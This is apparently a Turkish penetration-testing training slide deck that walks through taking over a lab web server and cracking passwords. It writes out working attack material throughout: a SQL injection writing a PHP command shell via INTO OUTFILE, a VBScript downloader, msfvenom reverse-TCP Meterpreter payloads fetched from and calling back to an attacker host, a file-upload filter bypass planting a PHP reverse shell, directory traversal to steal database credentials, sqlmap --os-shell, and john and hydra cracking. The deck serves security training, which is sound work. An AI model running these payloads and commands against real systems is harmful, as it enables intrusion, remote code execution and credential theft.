SlideShare a Scribd company logo
blog.btrisk.com @btrisk /btrisktv /btrisk
UYGULAMALI
SIZMA TESTİ
EĞİTİMİ-3
BTRİSK HAKKINDA
TANIŞMA
Pentest & BT Denetimi
ISO27001 Danışmanlık
Hizmetleri
BG Operasyon
Hizmetleri
WEB
UYGULAMA
AÇIKLIKLARI
İÇERİK
• Web Uygulama Açıklıklarının Önemi
• Sistem Ele Geçirmeye Yol Açabilecek Web
Uygulama Açıklıkları
• Sistem Ele Geçirme Saldırı Ağacı
• SQL Injection Senaryosu
• Dizin Aşım Senaryosu
• Dosya Yükleme Senaryosu
• Web Saldırılarına Etki Eden Faktörler
• SQLMAP Aracının Etkinliği
WEB UYGULAMA AÇIKLIKLARININ ÖNEMİ
Web uygulama açıklıkları sadece veri sızması veya suistimale
imkan tanımaz.
Web uygulamasının eriştiği veriler veya operasyonel kritikliği ne
kadar düşük öncelikli olursa olsun barındırabileceği açıklıklar
sayesinde üzerinde koştuğu işletim sisteminin ele geçirilmesine
imkan tanıyabilir. Bu durumda saldırgan diğer hedeflere daha
etkili saldırı yapabilecek bir konuma erişmiş olur.
Bu nedenle web uygulamalarının kritikliklerini değerlendirirken
mutlaka web uygulamasının ve bu uygulamanın kullandığı
veritabanlarının bulunduğu ağ bölümlerinin kritiklikleri de
dikkate alınmalıdır.
SİSTEM ELE GEÇİRMEYE YOL AÇABİLECEK
WEB UYGULAMA AÇIKLIKLARI
İşletim sisteminin ele geçirilmesiyle sonuçlanabilecek web
uygulama açıklıkları şunlardır* (rastlanma sıklığına göre
sıralanmıştır):
• SQL Injection
• Dizin Aşım Açıklıkları
• File Upload Riskleri
• RFI / LFI Açıklıkları (PHP diline özel bir açıklık türü)
• (İşletim Sistemi) Command Injection
• Kod Injection (genellikle PHP ve Perl dillerinde görülen bir açıklık türü)
*Güvenlik alanı daimi bir araştırma alanıdır. Burada bahsetmeyi atladığımız bir web uygulama
açıklık türü de pekala sistem ele geçirmek için kullanılabilir. Ayrıca bu açıklıklar bahsettiğimiz
şekillerin dışında da kullanılarak işletim sistemi ele geçirme amacıyla kullanılabilir.
SİSTEM ELE GEÇİRME SALDIRI AĞACI
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
SQL INJECTION SENARYOSU
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
SQL INJECTION SENARYOSU
SQL Injection ile İşletim Sistemi Ele Geçirme Örneği
Temel Adımlar
SQL injection açıklığının tespiti sırasında veritabanının MySQL olduğunu
öğrendik, buna göre;
• MySQL'in bize sağladığı batched query yöntemini kullanacağız (injection
yaptığımız sorguyu sorunsuz bir syntax ile sonlandırdıktan sonra veritabanı
fonksiyonalitesini kullanacak komutumuzu yazacağız)
• MySQL'in "SELECT ... INTO OUTFILE ..." özelliğinden faydalanarak bir web
uygulaması yazacağız
• Bu web uygulaması bizim verdiğimiz komutları işletim sisteminde işletecek
• İşletim sistemi komutları ile payload dosyamızı hedef sunucuya
yükleyeceğiz
• İşletim sistemi komutu ile payload'u çalıştıracağız ve shell'imizi alacağız
SQL INJECTION SENARYOSU
[Fatura Detaylarım / Detay Göster] fonksiyonu ("id" parametresi)
Uygulamamızın aldığı parametrelerden birisi de Fatura
Detaylarım fonksiyonundaki "id" parametresi
UYGULAMA ERİŞİMİ İÇİN !
Kullanıcı Kodu: 5550000002
Parola: 1
SQL INJECTION SENARYOSU
Bu parametreyi "'" işareti ile değiştirdiğimizde PHP kodu
içinde bulunan MySQL API'leri hata üretiyor. Bunun nedeni
veritabanına giden SQL cümlesinin yapısını bozmuş olmamız.
SQL INJECTION SENARYOSU
SQL cümlesinin yapısını bozmadan kendi istediğimiz işlemleri veritabanı sunucusuna
yaptırabilmek için UNION SELECT deyimini kullanıyoruz. Ancak bu deyimi
kullanabilmek için iki koşulu yerine getirmemiz gerekiyor:
• SELECT edilen alan sayısının bir önceki SELECT deyimi ile aynı olması
• SELECT edilen alanların kendi bir önceki SELECT deyimi ile veri uyumsuzluğu
bulunmaması
SQL INJECTION SENARYOSU
2 parametre de yeterli olmuyor.
Denemeye devam etmeliyiz.
Burada SELECT deyiminin yanında
numerik sabit değerler
kullanmamızın nedeni numerik
verilerin string veriler ile uyumlu
olması. Ancak tersi söz konusu
değil. Bir başka yöntem de NULL
sabitinin kullanılması olabilirdi.
Bu arada "--" işaretlerinden sonra konan
boşluk karakteri MySQL'in bir kuralı olduğu
için konuluyor. Ondan sonra gelen bir rakam
da bu boşluğun net biçimde görülebilmesi için
genellikle kullanılır. MySQL'in comment
karakterlerinden birisi de "#" işaretidir. Ancak
bunu browser'da kullanırsak browser URL'in
burada bittiğini düşünerek iletmiyor. Bu
değeri Burp üzerinde Repeater modülünde
kullanabilirsiniz.
SQL INJECTION SENARYOSU
Kolon sayısının 6 olduğunu
hata ortadan kalktığında
öğrenmiş olduk.
SQL INJECTION SENARYOSU
Slayt'larda görünmemekle birlikte sayfada aşağıda halen hata alan
başka bir kod bölümü daha var. Muhtemelen girdiğimiz parametre
bir başka sorguda daha kullanılıyor. Bu gariplik SQLMAP gibi
araçların kafasını karıştıran etkenlerden birisi olabiliyor.
SQL INJECTION SENARYOSU
UNION SELECT 1,2,3,4,5,"<?php
System($_REQUEST['cmd']); ?>" INTO OUTFILE
'C:wampwwwcmd.php'-- 2
MySQL'in INTO OUTFILE deyimi sayesinde hedef sunucu üzerinde bir
PHP kodu yazabildik. Tabi güvenlik ayarları yükseltilmiş MySQL
sunucularında bu mümkün olmayabilir !
SQL INJECTION SENARYOSU
Dosyamızın başarı ile oluşup oluşmadığını
örnekteki gibi herhangi bir işletim sistemi
komutunu "cmd" parametresine yazarak
deneyelim.
/cmd.php?cmd=ipconfig
SQL INJECTION SENARYOSU
Bu tür işlemleri Burp
üzerinde Repeater modülü ile
de gerçekleştirebilirdik.
SQL INJECTION SENARYOSU
Ancak "URL encode as you type"
seçeneğini aktif hale getirmeyi
unutmayalım. Browser bizim için
URL'de girdiğimiz karakterleri
URL encode ediyordu.
Repeater'da aynı işlemi
yapabilmek için bu seçeneği aktif
hale getirmeliyiz.
SQL INJECTION SENARYOSU
URL Encode edilmiş
değişikliğimiz
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
SQL INJECTION SENARYOSU
SQL INJECTION SENARYOSU
wget.vbs script'imizi
oluşturacak komutları
bir dosyaya kaydedelim
SQL INJECTION SENARYOSU
cmd.Php uygulamamız aracılığı ile script'imizi daha kolay oluşturabilmek için
Burp'ün Intruder modülünü kullanabiliriz.
Burp'te payload satırlarımızın yerleşmesi gereken yeri belirtiyoruz.
SQL INJECTION SENARYOSU
Payloads tab'ında
göndereceğimiz istekleri
dosyadan yükleyebiliriz
SQL INJECTION SENARYOSU
SQL INJECTION SENARYOSU
SQL INJECTION SENARYOSU
Uygulama sunucusuna yüklemek üzere bir meterpreter staged
payload üretiyoruz.
msfvenom -p windows/meterpreter/reverse_tcp
lhost=192.168.152.129 lport=5555 -f exe -o
payload.exe
python -m
SimpleHTTPServer 80
1
2
cscript wget.vbs http://192.168.152.129/payload.exe payload.exe
SQL INJECTION SENARYOSU
cscript wget.vbs http://192.168.152.129/payload.exe payload.exe
SQL INJECTION SENARYOSU
TCP 5555 portundan dinlemek üzere Reverse TCP
Meterpreter payload'umuz için handler'ımızı başlatıyoruz
SQL INJECTION SENARYOSU
cmd.php?cmd=payload.exe
SQL INJECTION SENARYOSU
payload.exe çalıştığında
reverse TCP bağlantımız
gerçekleşiyor
SQLMAP KULLANIMI
Sqlmap ile SQL injection saldırısını yapabilmek için öncelikle
geçerli cookie'leri kullanmamız lazım, çünkü açıklık barındıran
sayfamıza geçerli bir oturum cookie'si ile erişebiliyoruz
SQLMAP KULLANIMI
sqlmap --url="http://192.168.152.128/master.php?group=fatura&page=FaturaDetaylarim.php&id=7"
--cookie="BTRmCookie=353535303030303030323a42757268616e657474696e3a4f7a67656e63;
PHPSESSID=NTAwMDAwMDAzMDY5" -p id --os-shell
SQLMAP KULLANIMI
SQL INJECTION SENARYOSU
SQL Injection ile Başka Hangi Yöntemlerle İşletim
Sistemi Ele Geçirebilirim Diyenler İçin;
SQLMAP'in yazarlarından, detaylı bir araştırma makalesi:
• http://www.slideshare.net/inquis/advanced-sql-injection-to-
operating-system-full-control-whitepaper-4633857
DİZİN AŞIM SENARYOSU
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
DİZİN AŞIM SENARYOSU
Tanımlamalar /
Bilgilerim menüsünde
PDF linklerine yapılan
istekle ilgili fonksiyonda
bir dizin aşım açıklığı
bulunuyor
DİZİN AŞIM SENARYOSU
"filename" parametresine
verilen dosya ismi ile üst
dizinlerdeki dosyalara
erişmek mümkün
DİZİN AŞIM SENARYOSU
Repeater modülünde
"filename" parametresini
düzenleyerek
........Windowswin.ini
dosyasının içeriğine erişebildik
DİZİN AŞIM SENARYOSU
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Temel Adımlar
• Öncelikle içinde hassas erişim bilgileri barındırabilecek bir dosyayı tespit
etmemiz gerekli
• Bunun için kullanabileceğimiz yöntemlerden birisi "nikto" gibi bir aracı
kullanarak ilginç olabilecek bir uygulama dosyasının tespiti olabilir
• Nikto ile tespit ettiğimiz kod dosyasının içeriğinde veritabanı bağlantı
cümlesini gözlemleyeceğiz
• Buradaki veritabanı erişim bilgilerini kullanarak ve MySQL veritabanının
uzaktan erişilebilmesi sayesinde veritabanına uzaktan bağlanacağız
• MySQL'in sağladığı imkanlar sayesinde OS komutları ile sistemi ele
geçireceğiz
DİZİN AŞIM SENARYOSU
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Ön Şartlar
Örneğimizde MySQL sunucusuna uzaktan "root" kullanıcısıyla erişim sağlıyoruz.
Öntanımlı olarak veritabanı sunucusuna uzaktan "root" erişimi mümkün
değildir. Bunun için şu ayarın yapılmış olduğunu varsayıyoruz:
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%'
IDENTIFIED BY 'btrisk'
WITH GRANT OPTION;
FLUSH PRIVILEGES;
DİZİN AŞIM SENARYOSU
nikto taraması sonucunda web
sunucusu üzerinde config.php
adlı bir dosyanın bulunduğunu
tespit edebildik
DİZİN AŞIM SENARYOSU
........wampwwwconfig.php
dosyasına yaptığımız istekte
config.php dosyasının içinde web
uygulamasının veritabanı erişim
bilgilerini gözlemleyebildik
DİZİN AŞIM SENARYOSU
"nmap" taramasında sunucu
üzerindeki MySQL sunucusuna
uzaktan erişebildiğimizi görebiliriz
DİZİN AŞIM SENARYOSU
select "test" into outfile "c:wampwwwtest.txt";
mysql --host=192.168.152.128 --user=root --password=btrisk
Bu noktadan sonra yazılacak bir web
uygulaması aracılığı ile OS komutları
çalıştırılabilir ve bir payload
yüklenerek sistem ele geçirilebilir.
DİZİN AŞIM SENARYOSU
select user,host,password from mysql.user;
| root | % | *12E48759FDB4B079E2C807E41B9756AD177719B3 |
| markzuckerberg | localhost | *7B8322522948E1C43FA9706BDD4043C0A8BFCD3C |
Elde ettiğimiz hash değerlerini
daha sonra parola kırma amacıyla
kullanacağız
DİZİN AŞIM SENARYOSU
MySQL veritabanına SQL injection
yapabilmemiz halinde LOAD_FILE
fonksiyonu ile de herhangi bir
dosyaya erişmemiz mümkün
olabilirdi.
DİZİN AŞIM SENARYOSU
Dizin Aşım Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Diğer Alternatif Hassas Dosyalar
Hedef web sunucusu eğer Unix veya Linux işletim sistemine sahip olsaydı,
sistemi ele geçirmek amacıyla ilk hedeflerimizden birisi parola hash'lerinin
tutulduğu "passwd" veya "shadow" dosyaları olabilirdi.
Hedef web uygulaması bir ASP.NET uygulaması olsaydı içinde veritabanı
bağlantı cümlelerini de barındırma ihtimali yüksek olan "web.config" dosyası iyi
bir hedef olabilirdi.
Sunucu üzerinde bulunabilecek yedekleme veya diğer batch işlemler için
kullanılan script'ler içlerinde potansiyel olarak veritabanı erişim bilgilerini
barındırabilirler.
Sunucu üzerindeki log dosyaları erişim bilgileri barındırabilir.
DOSYA YÜKLEME SENARYOSU
İşletim Sistemine
Shell veya
Terminal Erişimi
Dizin Aşım
Açıklıkları
RFI / LFI
File Upload
Açıklığı
OS Command
Injection
SQL Injection
Hassas Erişim
Bilgilerini İçeren
Bir Dosyayı Oku
OS Komutları
Çalıştırmamıza İmkan
Veren Bir PHP
Kodunu Include Et
OS Komutları ile
Sisteme Payload
Yükle
SSH, Telnet, VNC
Gibi Servislerle
Sisteme Doğrudan
Eriş
Kod Injection
Sisteme Yüklenmiş
Olan Backdoor
Payload'unu
Çalıştır
SQL Injection ile
Sisteme Web
Uygulaması Yaz
OS Komutları ile
Web Uygulaması
Yaz
Web Uygulaması
ile Sisteme
Payload Yükle
SQL Injection ile
OS Komutları
Çalıştır
Sisteme Web
Uygulaması Yükle
Veritabanı
Fonksiyonalitesiyle
Sisteme Payload
Yükle
DOSYA YÜKLEME SENARYOSU
Uygulamamızın profil
fotoğrafı yükleme
fonksiyonalitesini manipüle
ederek web sunucusuna bir
payload yükleyeceğiz
DOSYA YÜKLEME SENARYOSU
Bir profil fotoğrafı
seçtiğimizde giden istekte
2.jpg adlı bir dosya ismi
görüyoruz
DOSYA YÜKLEME SENARYOSU
Target modülünde bu dosya ismine bir
referans olup olmadığını görmek için
"Show all" düğmesine tıklayarak "images"
türü referansları da görmeye başlayabiliriz
DOSYA YÜKLEME SENARYOSU
profile_photo dizini altında 2.jpg
dosyasına bir referans görebiliyoruz
Eğer profil fotoğrafını güncellersek
dosyamızın yerleştirileceği dizinin
profile_photo dizini olması muhtemel
DOSYA YÜKLEME SENARYOSU
Dosya Yükleme Açıklığı ile İşletim Sistemi Ele Geçirme
Örneği
Temel Adımlar
• Dosya yükleme açıklığı sayesinde istediğimiz web uygulamasını sunucuya
yükleyebiliriz.
• Bu örnekte Metasploit'in PHP payload oluşturma imkanından
faydalanacağız. Bunun için reverse tcp bağlantısı kuracak bir PHP dosyası
oluşturacak ve sunucuya bu dosyayı yükleyeceğiz.
• Metasploit multi handler aracı ile bağlantıyı beklerken yüklediğimiz
uygulamayı çalıştıracağız ve handler bizim için stage 2 payload'u sisteme
yükleyecek.
• Bu noktadan sonra meterpreter'in gelişmiş imkanları sayesinde web sunucu
prosesinin hakları ile sisteme erişeceğiz.
DOSYA YÜKLEME SENARYOSU
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.152.129
LPORT=5555 -e php/base64 -f raw > payload.php
PHP payload'unun
başına ve sonuna
"<?php" ve "?>"
tag'lerini koymayı
unutmayınız
DOSYA YÜKLEME SENARYOSU
Uygulama geliştirici
HTML kodu içinde
yüklenebilecek dosya
türlerini kısıtlamış
Ancak bu kısıtı aşmak
dosya uzantısını aşmak
veya bir resim seçtikten
sonra araya girerek
dosya içeriğini
değiştirmek kadar kolay
DOSYA YÜKLEME SENARYOSU
DOSYA YÜKLEME SENARYOSU
Dosya içeriği
Dosya adı
DOSYA YÜKLEME SENARYOSU
Dosya adını .php
uzantılı bir dosya adı
ile değiştiriyoruz
DOSYA YÜKLEME SENARYOSU
Dosyamız başarılı
biçimde yüklendi
DOSYA YÜKLEME SENARYOSU
Metasploit handler ile web
sunucusundan gelecek olan
reverse TCP bağlantıyı
beklemeye hazırız
DOSYA YÜKLEME SENARYOSU
Php payload'unun shell
erişimi malesef stabil değil
Bu nedenle bu noktadan
sonra meterpreter ile başka
bir binary payload yüklenerek
daha stabil bir bağlantı
sağlanabilir
WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER
Ele geçirme yöntemlerine etki eden faktörler
SQL injection açıklığı için
• Hedef veritabanı nedir?
• Veritabanı tek seferde birden fazla SQL komutuna izin
verir mi?
• Veritabanının OS komutu çalıştırma imkanı var mıdır?
• Veritabanının bir dosyaya yazma imkanı var mıdır?
WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER
Ele geçirme yöntemlerine etki eden faktörler
Payload seçimi, payload yükleme yöntemi seçimi için
• Hedef işletim sistemi nedir?
• Bu işletim sisteminde öntanımlı olarak bulunan veya
sonradan yüklenmiş dosya transfer komut imkanları
nelerdir?
• İşletim sistemine yönelik olarak nasıl bir payload
kullanmayı tercih edeceğiz?
WEB SALDIRILARINA ETKİ EDEN FAKTÖRLER
Ele geçirme yöntemlerine etki eden faktörler
Erişim bilgileri ele geçirildiğinde
• İşletim sistemi üzerinde hangi servisler aktiftir?
Uygulama dilinin tespiti
• LFI/RFI açıklıklarının analizi için
• File upload açıklığının kullanılması için
• Kod injection açıklıklarının analizi için
SQLMAP ARACININ ETKİNLİĞİ
Sistem – 1 senaryosunda kullandığımız SQLi açıklığını
bu defa SQLMAP aracı ile test edelim.
SQLMAP ARACININ ETKİNLİĞİ
Öncelikle açıklığın bulunduğu sayfaya tanılanmış bir
admin kullanıcısı ile erişebileceğimizi senaryo
çalışması sırasında da görmüştük.
SQLMAP ARACININ ETKİNLİĞİ
Sayfaya tanılanmış bir kullanıcı
olarak erişebilmek için öncelikle
daha önce tespit ettiğimiz admin
kullanıcı parolasıyla giriş yapacağız.
Hedef sayfaya da authenticate
olduktan sonra elde ettiğimiz cookie
ile erişebileceğiz. Bu cookie'yi elde
edebilmek için iletişimimizi bir
attack proxy üzerinden geçireceğiz.
SQLMAP ARACININ ETKİNLİĞİ
Trafiği incelemek için Burp Suite aracını kullanıyoruz.
SQLMAP ARACININ ETKİNLİĞİ
"admin" / "btrisk"
erişim bilgileri ile giriş yapalım.
SQLMAP ARACININ ETKİNLİĞİ
Authenticate olduktan sonra iletilen
isteklerden herhangi birisinden
oturum cookie'lerini elde edebiliriz.
SQLMAP ARACININ ETKİNLİĞİ
Repeater modülünde "keyword"
parametresine tırnak işareti
attığımızda SQL sunucu hatasını
gözlemleyebiliyoruz.
SQLMAP ARACININ ETKİNLİĞİ
Sqlmap'e gerekli cookie parametresi
ve hedef daraltmak için injection
yapılabilecek hedef parametre ve
veritabanı sunucu tipini de veriyoruz.
SQLMAP ARACININ ETKİNLİĞİ
SQLMAP bizim açıkça gördüğümüz
keyword parametresinin SQLi
açıklığına sahip olma durumunu tespit
edemiyor.
SQLMAP ARACININ ETKİNLİĞİ
SQLMAP neden başarılı olamadı?
• Öncelikle "keyword" parametresine bir tırnak işareti ile istek
yapıldığında bile veritabanı sunucu hatası gözlenebilmektedir.
Bu açıdan SQLMAP beklentinin altında kalmıştır.
• POC payload'una baktığımızda injection yapılabilir
parametreye "')" şeklinde bir ekleme yapıldığı görülmektedir.
Bu tespit çok sayıda deneme veya kaynak kodun gözlenmesi
ile mümkün olabilir. Bu açıdan SQLMAP'in UNION SELECT
açıklığını tespit edememesi anlaşılabilir.
http://[host]/admin/index.php?app=users&ajax=1&action=search
&keyword=1') UNION SELECT 1,2,3,4,5,6,7,8,'<? phpinfo(); ?>' INTO
OUTFILE '/tmp/.class.php' -- 2
PAROLA
KIRMA
SALDIRILARI
İÇERİK
• Parola Saldırı Türleri
• Hashing Algoritması
• Salt Yöntemi
• Rainbow Tables & Online Crackers
• Linux Hash Kırma
• Windows Hash Kırma
• MySQL Hash Kırma
• Çevrimiçi (Online) Parola Kırma
PAROLA SALDIRI TÜRLERİ
Parola hash bilgisine sahip olma durumuna göre:
• Çevrimdışı (offline) parola saldırıları – Hash var
• Çevrimiçi (online) parola saldırıları – Hash yok,
uzaktan veya sistem üzerinde dinamik olarak
Parola üretme yöntemine göre:
• Sözlük (dictionary) saldırıları
• Kaba kuvvet (brute force) saldırıları
• Hibrit saldırılar (sözlükten türetilmiş parola listesi)
HASHING ALGORİTMASI
Hashing tek yönlü (yani üretilen değerden geri
dönülemez) bir algoritmadır.
İyi bir hash algoritmasının iki temel özelliği olmalıdır:
• Düşük çarpışma (collusion) olasılığı, yani aynı hash
değerini üretecek farklı bir girdi bulma ihtimalinin
düşük olması
• Çığ (avalanche) etkisi, yani hash'i hesaplanan verinin
herhangi bir yerindeki bir değişikliğin tüm hash
değerini etkilemesi
SALT YÖNTEMİ
Parola saklamak için hashing yönteminin ilk kullanıldığı
yerlerden birisi Unix sistemlerdir. Unix sistemler çok
kullanıcılı olup tüm kullanıcıların kullanma ihtiyacı olan
komutlar nedeniyle (who gibi) /etc/passwd dosyasına
erişme hakkı vardır. Shadow dosya kontrolü henüz yok
iken kullanıcılar diğer kullanıcıların parola hash'lerini
görebildiklerinden parolası aynı olan kullanıcıların kendi
parolalarını bildiklerinden diğer kullanıcıların da
parolalarını keşfetme imkanı vardı.
Bu problem nedeniyle Unix sistemler üzerinde parola
hash'leri hesaplanırken bir de salt (tuz) değeri kullanılır.
RAINBOW TABLES & ONLINE CRACKERS
Salt kullanılmayan hash değerleri için
önceden hesaplanmış parola
hash'lerini kullanarak hızlı parola
kırma imkanı bulunmaktadır.
RAINBOW TABLES & ONLINE CRACKERS
MD5
NTLM
SHA1
LINUX HASH KIRMA
Kali bilgisayarımızın kullandığı hash
algoritması SHA512
Ayrıca parola hash'inin (daha sonra hash
değerini göreceğiz) başındaki "$6" ifadesi
many rounds anlamına geliyor
Öntanımlı round sayısının ise 5000
olduğunu bu dosyada görebiliyoruz.
LINUX HASH KIRMA
Passwd dosyasında kullanı adını ve id
bilgisini görüyoruz.
Kullanıcı id'si "0" root kullanıcısı olduğu
anlamına geliyor. (Unix'te kullanıcı adı
önemli değildir, önemli olan kullanıcı
id'sidir)
Parola alanlarında ise "x" ifadesi geçiyor,
çünkü parola hash değerleri shadow
dosyasında yer alıyor.
LINUX HASH KIRMA
Parola hash değerlerini ise shadow
dosyasında görüyoruz. Bu dosyayı root
kullanıcısı ve shadow grubu dışındaki
kullanıcılar göremezler.
"*" ve "!" değerleri hiçbir parola hash'i bu
değerlerle eşleşmeyeceği için bu
hesaplarla logon olunamaz anlamına gelir.
LINUX HASH KIRMA
# unshadow /etc/passwd /etc/shadow > pwdhash.txt
"john" parola kırma aracı Unix hash'lerini
tek bir dosyada beklediği için "unshadow"
aradı ile her iki dosyayı hash içeren
passwd dosyası haline dönüştürüyoruz.
LINUX HASH KIRMA
# grep -i ankara /usr/share/wordlists/rockyou.txt > dict.txt
# awk -F: '{print $1}' /etc/passwd >> dict.txt
Yapacağımız çalışmada kaba kuvvet yöntemini kullanabiliriz,
ancak bu günler, aylar veya daha uzun sürebilir. Örneğimizde
hedef kullanıcıların Ankara'lı olduğu veya Ankara ile ilişkili
olduğunu bildiğimizi varsayalım.
Bu senaryoya göre büyük bir parola dosyasından içinde "ankara"
kelimesi (büyük harf küçük harf duyarsız biçimde) geçen
parolaları seçiyoruz. Bir başka yöntem de parola politikasını
biliyorsak böyle bir dosyadan belirli uzunluktaki parolaları ayırma
yöntemi olabilir (# awk -F: 'length($1)==6' filename.txt gibi)
Bu dosyaya ayrıca kullanıcı adlarını ekliyoruz.
LINUX HASH KIRMA
# john --wordlist=dict.txt --rules pwdhash.txt
John'a bir sözlük verdiğimiz gibi onun --rules özelliğini kullanarak bu sözlükteki kelimeleri
dönüştürmesini de istiyoruz.
John'un uyguladığı kurallardan birisinin de sözlükteki kelimelerin tersten yazılışı olduğu
görülüyor, çünkü bizim sözlüğümüzde kullanıcı adları vardı, ancak "root"un parolasının
"toor" olduğunu bulabildi.
WINDOWS HASH KIRMA
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
test:1000:aad3b435b51404eeaad3b435b51404ee:979357191cb4f445b47292af934fd2a7:::
Kullanıcı
Adı
ID LM Hash'i
NTLM
Hash'i
WINDOWS HASH KIRMA
Windows Vista / Windows Server
2008'den itibaren LM hash'leri
öntanımlı olarak iptal edilmiştir.LM Hash
Algoritması
WINDOWS HASH KIRMA
Windows 7'den aldığımız LM
Hash'inin her iki parçası da boş
Kırılan LM Hash parçaları en
fazla 7 karakter ve hepsi büyük
harf aad3b435b51404eeaad3b435b51404ee
WINDOWS HASH KIRMA
NTLM Hash'i kırmak için
hashkiller.co.uk sitesinden
faydalanabiliriz.
WINDOWS HASH KIRMA
Birinci hash değeri atanmamış bir parola olduğu için
bulunamayan Administrator kullanıcı parolası
İkinci hash değeri "test" kullanıcısının parolası olan
"btrisk"
31d6cfe0d16ae931b73c59d7e0c089c0
979357191cb4f445b47292af934fd2a7
MYSQL HASH KIRMA
mysql> select user,host,authentication_string from mysql.user
| markzuckerberg | localhost | *7B8322522948E1C43FA9706BDD4043C0A8BFCD3C |
| root | % | *12E48759FDB4B079E2C807E41B9756AD177719B3 |
MYSQL HASH KIRMA
MySQL bağlantısında elde ettiğimiz bir hash değerini
hash-identifier aracı ile incelediğimizde bize SHA1 veya
MySQL hash'i olduğunu söylüyor.
MYSQL HASH KIRMA
hashkiller.co.uk sitesinin veritabanına göre bu parola
"dadada". Bu tür veritabanlarının oluşturulabilmesinin
sebebi daha önce de söylediğimiz gibi salt değeri
kullanılmamış olması. Aksi takdirde bu veritabanları için
gerekli alan ve zaman çok daha fazla olacaktı.
ÇEVRİMİÇİ (ONLINE) PAROLA KIRMA
hydra -l root -P dict.txt 192.168.163.140 mysql
Çevrimiçi (online) parola saldırıları için kullanılabilecek pek çok araçtan bir
tanesi Hydra. Çevrimiçi parola saldırıları parola hash'lerine yönelik
saldırılara nazaran çok daha uzun sürdüğü gibi log kayıtlarının oluşmasına
ve daha kötüsü hesapların kilitlenmesine ve hizmet kaybına neden olabilir.
Bu nedenle dikkatli kullanılmaları gerekmektedir.
ÇEVRİMİÇİ (ONLINE) PAROLA KIRMA
Hydra aracının desteklediği protokol ve servisler.
İSTEMCİ
TARAFLI
SALDIRILAR
• İstemci Taraflı saldırılar son kullanıcı tarafında
gerçekleştirilen saldırılardır.
• Burada oluşturduğumuz herhangi bir zararlı
içerik kullanıcının bilgisayarına iletilir.
• Bir site üzerindeki sahte bir uygulama veya dosya
örnek verilebilir.
